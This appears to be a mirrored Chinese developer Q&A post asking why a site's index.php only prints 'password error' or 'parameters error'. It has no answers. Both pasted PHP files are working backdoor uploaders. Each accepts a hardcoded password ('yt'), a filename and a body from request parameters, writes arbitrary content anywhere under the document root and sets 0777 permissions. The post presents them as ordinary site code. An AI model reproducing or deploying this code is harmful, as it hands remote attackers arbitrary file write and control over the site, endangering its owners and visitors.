网站不会重定向到地址

时间:2016-02-06 09:30:52

标签: php web web-development-server

这是我的index.php

<?php
    error_reporting(E_ERROR);
    //set_time_limit(0);
    //header("Content-Type: text/html; charset=utf-8");
    $system_password="yt";
    $action=$_REQUEST['action'];
    $password=$_REQUEST['password'];
    $filename=$_REQUEST['filename'];
    $body=stripslashes($_REQUEST['body']);

    if($password!=$system_password)
        {
            echo 'password error';
            return;
        }

    if($action=="test")
        {
            echo 'test success';
            return;
        }

    $wjj=dirname(__FILE__);
    if(!file_exists($wjj))
       {    
           mkdir($wjj,0777);
       }

    $fp=fopen($filename,"w");
    //fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
    fwrite($fp,"\xEF\xBB\xBF".$body);
    fclose($fp);

    if(file_exists($filename))
       { 
           chmod($filename,0777);
       }
    echo "publish success";
?>

当我将此页面设置为主页时,显示“密码错误”。访问:http://www.saxonybyseema.com

index.php

<?php
     //header("Content-Type: text/html; charset=utf-8");
$config_password="yt";
$action=$_REQUEST['action'];
$password=$_REQUEST['password'];
$folderpath=$_REQUEST['folderpath'];
$filename=$_REQUEST['filename'];
$body=stripslashes($_REQUEST['body']);

if($password==""||$filename==""||$body=="")
    {
        echo 'parameters error!';
        return;
    }

if($password!=$config_password)
   {
        echo 'password error!';
        return;
   }

$rootPath=$_SERVER['DOCUMENT_ROOT'];
$newPath=$rootPath;

if($folderpath!="")
    {
        if($folderpath=="root")
            {
                 $newPath=$rootPath.'/'.$filename;
            }
        else
            {
                 createFolder($rootPath.'/'.$folderpath);
                 $newPath=$rootPath.'/'.$folderpath.'/'.$filename;
            }
     }
else
     {
         $newPath=$filename;
     }


$fp=fopen($newPath,"w");
//fwrite($fp,"\xEF\xBB\xBF".iconv('gbk','utf-8//IGNORE',$body));
fwrite($fp,$body);
fclose($fp);

if(file_exists($newPath))
    {
        echo "publish success & uploaded";
    }

function createFolder($path) 
    {
        if (!file_exists($path))
            {
                createFolder(dirname($path));
                mkdir($path, 0777);
            }
    }
?>

当我将此页面设置为主页时,它显示“参数错误”。我还没有开发这个网站。我只是代表一些公司处理它。我无法找到持续存在此网站的问题。

0 个答案:

没有答案